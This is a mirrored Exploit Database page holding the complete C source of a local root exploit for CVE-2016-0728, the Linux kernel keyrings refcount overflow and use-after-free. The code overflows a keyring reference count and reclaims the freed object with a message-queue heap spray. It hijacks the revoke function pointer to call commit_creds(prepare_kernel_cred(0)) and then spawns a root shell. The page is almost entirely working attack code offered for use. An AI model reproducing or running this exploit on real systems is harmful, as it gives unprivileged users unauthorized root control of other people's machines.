Linux Kernel 4.4.1 – REFCOUNT Overflow Use-After-Free in Keyrings Local Privilege Escalation (1)

• Exploit Database
• 116 阅读

• 作者： Perception Point Team
  日期： 2016-01-19
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39277/
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  /* # Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings # Date: 19/1/2016 # Exploit Author: Perception Point Team # CVE : CVE-2016-0728 */   /* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */ /* $ ./cve_2016_072 PP_KEY */   /* EDB-Note: More information ~ http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/ */   #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <keyutils.h> #include <unistd.h> #include <time.h> #include <unistd.h>   #include <sys/ipc.h> #include <sys/msg.h>   typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred;   #define STRUCT_LEN (0xb8 - 0x30) #define COMMIT_CREDS_ADDR (0xffffffff81094250) #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)       struct key_type { char * name; size_t datalen; void * vet_description; void * preparse; void * free_preparse; void * instantiate; void * update; void * match_preparse; void * match_free; void * revoke; void * destroy; };   void userspace_revoke(void * key) { commit_creds(prepare_kernel_cred(0)); }   int main(int argc, const char *argv[]) { const char *keyring_name; size_t i = 0; unsigned long int l = 0x100000000/2; key_serial_t serial = -1; pid_t pid = -1; struct key_type * my_key_type = NULL;   struct { long mtype; char mtext[STRUCT_LEN]; } msg = {0x4141414141414141, {0}}; int msqid;   if (argc != 2) { puts("usage: ./keys <key_name>"); return 1; }   printf("uid=%d, euid=%d\n", getuid(), geteuid()); commit_creds = (_commit_creds) COMMIT_CREDS_ADDR; prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;   my_key_type = malloc(sizeof(*my_key_type));   my_key_type->revoke = (void*)userspace_revoke; memset(msg.mtext, &apos;A&apos;, sizeof(msg.mtext));   // key->uid *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */ //key->perm *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;   //key->type *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;   if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); }   keyring_name = argv[1];   /* Set the new session keyring before we start */   serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); if (serial < 0) { perror("keyctl"); return -1; } if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { perror("keyctl"); return -1; }     puts("Increfing..."); for (i = 1; i < 0xfffffffd; i++) { if (i == (0xffffffff - l)) { l = l/2; sleep(5); } if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("keyctl"); return -1; } } sleep(5); /* here we are going to leak the last references to overflow */ for (i=0; i<5; ++i) { if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { perror("keyctl"); return -1; } }   puts("finished increfing"); puts("forking..."); /* allocate msg struct in the kernel rewriting the freed keyring object */ for (i=0; i<64; i++) { pid = fork(); if (pid == -1) { perror("fork"); return -1; }   if (pid == 0) { sleep(2); if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { perror("msgget"); exit(1); } for (i = 0; i < 64; i++) { if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { perror("msgsnd"); exit(1); } } sleep(-1); exit(1); } } puts("finished forking"); sleep(5);   /* call userspace_revoke from kernel */ puts("caling revoke..."); if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { perror("keyctl_revoke"); }   printf("uid=%d, euid=%d\n", getuid(), geteuid()); execl("/bin/sh", "/bin/sh", NULL);   return 0; }